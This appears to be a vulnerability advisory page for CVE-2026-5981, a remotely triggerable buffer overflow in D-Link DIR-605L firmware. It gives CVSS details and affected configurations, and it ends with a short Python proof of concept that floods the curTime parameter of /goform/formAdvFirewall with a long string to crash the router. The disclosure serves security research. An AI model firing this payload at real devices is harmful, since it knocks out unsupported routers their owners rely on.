Security Vulnerability Report
中文
CVE-2026-5981 CVSS 8.8 HIGH

CVE-2026-5981

Published: 2026-04-09 22:16:37
Last Modified: 2026-04-30 15:32:37

Description

A vulnerability has been found in D-Link DIR-605L 2.13B01. This affects the function formAdvFirewall of the file /goform/formAdvFirewall of the component POST Request Handler. Such manipulation of the argument curTime leads to buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-605l_firmware:2.13b01:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-605l:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-605L 2.13B01

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target IP address target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/formAdvFirewall" # Malicious payload to trigger buffer overflow # Adjust length based on specific buffer size analysis payload_data = { "curTime": "A" * 1000 # Sending a long string to overflow the buffer } try: print(f"[*] Sending exploit request to {url}...") response = requests.post(url, data=payload_data) print("[+] Request sent successfully.") print(f"[*] Response status code: {response.status_code}") print("[*] Check if the device has crashed or rebooted.") except Exception as e: print(f"[-] Error occurred: {e}")

References

Raw JSON Data

JSON
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